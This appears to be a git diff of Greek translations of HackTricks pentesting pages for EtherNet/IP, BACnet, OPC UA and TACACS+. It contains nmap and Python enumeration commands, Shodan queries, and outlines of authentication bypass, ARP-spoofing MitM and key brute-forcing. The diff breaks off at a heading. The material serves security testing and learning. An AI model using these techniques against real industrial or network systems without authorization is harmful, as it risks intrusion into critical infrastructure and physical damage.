* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Πληροφορίες Πρωτοκόλλου**
Το EtherNet/IP είναι ένα **βιομηχανικό πρωτόκολλο Ethernet δικτύωσης** που χρησιμοποιείται συνήθως σε **συστήματα ελέγχου βιομηχανικής αυτοματοποίησης**. Αναπτύχθηκε από τη Rockwell Automation στα τέλη της δεκαετίας του 1990 και διαχειρίζεται από τη ODVA. Το πρωτόκολλο εξασφαλίζει **διαλειτουργικότητα πολλαπλών προμηθευτών συστημάτων** και χρησιμοποιείται σε διάφορες εφαρμογές όπως **εργοστάσια επεξεργασίας νερού**, **μονάδες κατασκευής** και **υπηρεσίες δημόσιων υποδομών**. Για να αναγνωριστεί μια συσκευή EtherNet/IP, αποστέλλεται ένα ερώτημα στη θύρα **TCP/44818** με ένα **μήνυμα λίστας ταυτοτήτων (0x63)**.
Το EtherNet/IP είναι ένα **πρωτόκολλο δικτύωσης βιομηχανικού Ethernet** που χρησιμοποιείται συνήθως σε **συστήματα ελέγχου βιομηχανικής αυτοματοποίησης**. Αναπτύχθηκε από την Rockwell Automation στα τέλη της δεκαετίας του 1990 και διαχειρίζεται από την ODVA. Το πρωτόκολλο εξασφαλίζει **διαλειτουργικότητα συστημάτων πολλών προμηθευτών** και χρησιμοποιείται σε διάφορες εφαρμογές όπως **εργοστάσια επεξεργασίας νερού**, **βιομηχανικές εγκαταστάσεις** και **δημόσιες υπηρεσίες**. Για να εντοπιστεί μια συσκευή EtherNet/IP, αποστέλλεται ένα ερώτημα στο **TCP/44818** με ένα **μήνυμα λίστας ταυτοτήτων (0x63)**.
**Προεπιλεγμένη θύρα:** 44818 UDP/TCP
```
PORT STATE SERVICE
44818/tcp open EtherNet/IP
```
# **Απαρίθμηση**
# **Καταμέτρηση**
```bash
nmap -n -sV --script enip-info -p 44818 <IP>
pip3 install cpppo
@ -30,19 +31,20 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
```
# Shodan
* `port:44818 "όνομα προϊόντος"`
* `port:44818 "product name"`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Πληροφορίες Πρωτοκόλλου
**Το BACnet** είναι ένα **πρωτόκολλο επικοινωνίας** για δίκτυα Αυτοματισμού και Έλεγχου Κτιρίων (BAC) που εκμεταλλεύεται τα πρότυπα πρωτόκολλα **ASHRAE**, **ANSI** και **ISO 16484-5**. Διευκολύνει την επικοινωνία μεταξύ συστημάτων αυτοματισμού και ελέγχου κτιρίων, επιτρέποντας εφαρμογές όπως έλεγχος HVAC, έλεγχος φωτισμού, έλεγχος πρόσβασης και συστήματα ανίχνευσης πυρκαγιάς να ανταλλάσσουν πληροφορίες. Το BACnet εξασφαλίζει τη συμβατότητα και επιτρέπει σε μηχανογραφημένες συσκευές αυτοματισμού κτιρίων να επικοινωνούν, ανεξαρτήτως των συγκεκριμένων υπηρεσιών που παρέχουν.
**BACnet** είναι ένα **πρωτόκολλο επικοινωνίας** για δίκτυα Αυτοματοποίησης και Ελέγχου Κτιρίων (BAC) που αξιοποιεί το **ASHRAE**, **ANSI** και το **ISO 16484-5 standard** πρωτόκολλο. Διευκολύνει την επικοινωνία μεταξύ συστημάτων αυτοματοποίησης και ελέγχου κτιρίων, επιτρέποντας εφαρμογές όπως ο έλεγχος HVAC, ο έλεγχος φωτισμού, ο έλεγχος πρόσβασης και τα συστήματα ανίχνευσης πυρκαγιάς να ανταλλάσσουν πληροφορίες. Το BACnet εξασφαλίζει τη διαλειτουργικότητα και επιτρέπει στις υπολογιστικές συσκευές αυτοματοποίησης κτιρίων να επικοινωνούν, ανεξαρτήτως των συγκεκριμένων υπηρεσιών που παρέχουν.
**Προεπιλεγμένη θύρα:** 47808
```text
PORT STATE SERVICE
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
```
# Απαρίθμηση
# Enumeration
## Χειροκίνητη
## Χειροκίνητα
```bash
pip3 install BAC0
pip3 install netifaces
@ -46,11 +47,11 @@ print(f"Model Name: {readDevice[11]}")
print(f"Version: {readDevice[2]}")
# print(readDevice) #List all available info about the device
```
## Αυτόματο
## Αυτόματη
```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
```
Αυτό το σενάριο δεν προσπαθεί να ενταχθεί σε ένα δίκτυο BACnet ως ξένη συσκευή, απλά στέλνει αιτήματα BACnet απευθείας σε μια συσκευή με διεύθυνση IP.
Αυτό το σενάριο δεν προσπαθεί να συνδεθεί σε ένα δίκτυο BACnet ως ξένη συσκευή, απλά στέλνει αιτήματα BACnet απευθείας σε μια συσκευή με διεύθυνση IP.
## Shodan
@ -59,16 +60,17 @@ nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# 4840 - Πεντεστάροντας το OPC UA
# 4840 - Pentesting OPC UA
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το **OPC UA**, που σημαίνει **Open Platform Communications Unified Access**, είναι ένα κρίσιμο πρωτόκολλο ανοιχτού κώδικα που χρησιμοποιείται σε διάφορους κλάδους όπως η Βιομηχανία, η Ενέργεια, η Αεροδιαστημική και η Άμυνα για την ανταλλαγή δεδομένων και τον έλεγχο εξοπλισμού. Του επιτρέπει να επικοινωνεί με εξοπλισμό διαφορετικών προμηθευτών, ιδιαίτερα με τους PLCs.
**OPC UA**, που σημαίνει **Open Platform Communications Unified Access**, είναι ένα κρίσιμο πρωτόκολλο ανοιχτού κώδικα που χρησιμοποιείται σε διάφορες βιομηχανίες όπως η Κατασκευή, η Ενέργεια, η Αεροδιαστημική και η Άμυνα για την ανταλλαγή δεδομένων και τον έλεγχο εξοπλισμού. Δίνει τη δυνατότητα σε εξοπλισμό διαφορετικών προμηθευτών να επικοινωνεί, ειδικά με PLCs.
Η διαμόρφωσή του επιτρέπει ισχυρά μέτρα ασφαλείας, αλλά συχνά, για συμβατότητα με παλαιότερες συσκευές, αυτά εξασθενούν, αποκαλύπτοντας τα συστήματα σε κινδύνους. Επιπλέον, η εύρεση υπηρεσιών OPC UA μπορεί να είναι δύσκολη, καθώς οι σαρωτές δικτύου ενδέχεται να μην τις ανιχνεύουν εάν βρίσκονται σε μη τυπικές θύρες.
Η διαμόρφωσή του επιτρέπει ισχυρά μέτρα ασφαλείας, αλλά συχνά, για συμβατότητα με παλαιότερες συσκευές, αυτά μειώνονται, εκθέτοντας τα συστήματα σε κινδύνους. Επιπλέον, η εύρεση υπηρεσιών OPC UA μπορεί να είναι δύσκολη, καθώς οι σαρωτές δικτύου ενδέχεται να μην τις ανιχνεύσουν αν βρίσκονται σε μη τυπικές θύρες.
**Προεπιλεγμένη θύρα:** 4840
**Default port:** 4840
```text
PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack
```
## Ελέγχος ασφάλειας OPC UA
## Pentesting OPC UA
Για να αποκαλύψετε προβλήματα ασφάλειας σε διακομιστές OPC UA, σαρώστε τους με το [OpalOPC](https://opalopc.com/).
Για να αποκαλύψετε ζητήματα ασφάλειας στους διακομιστές OPC UA, σαρώστε το με [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Εκμεταλλευόμενος ευπάθειες
### Εκμετάλλευση ευπαθειών
Εάν βρεθούν ευπάθειες παράκαμψης ταυτοποίησης, μπορείτε να διαμορφώσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει από απλή ανάγνωση τιμών διεργασίας έως και λειτουργία βαρέων βιομηχανικών εξοπλισμών.
Εάν βρεθούν ευπάθειες παράκαμψης ταυτοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας μέχρι την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών.
Για να έχετε μια ιδέα για τη συσκευή στην οποία έχετε πρόσβαση, διαβάστε τις τιμές του κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης στο Google.
Για να αποκτήσετε μια ένδειξη της συσκευής στην οποία έχετε πρόσβαση, διαβάστε τις τιμές κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης.
## Shodan
@ -45,16 +46,17 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,75 +1,79 @@
# 49 - Ελεγχος Εισβολής στο TACACS+
# 49 - Pentesting TACACS+
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
## Basic Information
Το πρωτόκολλο **Terminal Access Controller Access Control System (TACACS)** χρησιμοποιείται για την κεντρική επικύρωση χρηστών που προσπαθούν να έχουν πρόσβαση σε δρομολογητές ή Διακομιστές Πρόσβασης Δικτύου (NAS). Η αναβαθμισμένη έκδοσή του, **TACACS+**, διαχωρίζει τις υπηρεσίες σε πιστοποίηση, εξουσιοδότηση και λογιστική (AAA).
Το πρωτόκολλο **Terminal Access Controller Access Control System (TACACS)** χρησιμοποιείται για την κεντρική επικύρωση χρηστών που προσπαθούν να αποκτήσουν πρόσβαση σε δρομολογητές ή Διακομιστές Πρόσβασης Δικτύου (NAS). Η αναβαθμισμένη του έκδοση, **TACACS+**, διαχωρίζει τις υπηρεσίες σε αυθεντικοποίηση, εξουσιοδότηση και λογιστική (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Προεπιλεγμένη θύρα:** 49
**Default port:** 49
## Ανάκτηση Κλειδιού Ταυτοποίησης
## Intercept Authentication Key
Εάν η επικοινωνία μεταξύ του πελάτη και του διακομιστή TACACS διακόπτεται από έναν επιτιθέμενο, το **κρυπτογραφημένο κλειδί ταυτοποίησης μπορεί να ανακτηθεί**. Ο επιτιθέμενος μπορεί στη συνέχεια να προσπαθήσει μια **τοπική επίθεση με βία κατά του κλειδιού χωρίς να ανιχνευθεί στα logs**. Εάν επιτύχει στην επίθεση με βία κατά του κλειδιού, ο επιτιθέμενος κερδίζει πρόσβαση στον εξοπλισμό δικτύου και μπορεί να αποκρυπτογραφήσει την κίνηση χρησιμοποιώντας εργαλεία όπως το Wireshark.
Εάν η επικοινωνία του πελάτη και του TACACS server παρεμποδιστεί από έναν επιτιθέμενο, το **κρυπτογραφημένο κλειδί αυθεντικοποίησης μπορεί να παρεμποδιστεί**. Ο επιτιθέμενος μπορεί στη συνέχεια να προσπαθήσει μια **τοπική επίθεση brute-force κατά του κλειδιού χωρίς να ανιχνευθεί στα logs**. Εάν είναι επιτυχής στην επίθεση brute-force του κλειδιού, ο επιτιθέμενος αποκτά πρόσβαση στον δικτυακό εξοπλισμό και μπορεί να αποκρυπτογραφήσει την κίνηση χρησιμοποιώντας εργαλεία όπως το Wireshark.
### Εκτέλεση Επίθεσης Man-in-the-Middle
### Performing a MitM Attack
Μια επίθεση **ARP spoofing μπορεί να χρησιμοποιηθεί για την εκτέλεση μιας επίθεσης Man-in-the-Middle (MitM)**.
Μια **επίθεση spoofing ARP μπορεί να χρησιμοποιηθεί για να εκτελέσει μια επίθεση Man-in-the-Middle (MitM)**.
### Επίθεση με Βία κατά του Κλειδιού
### Brute-forcing the Key
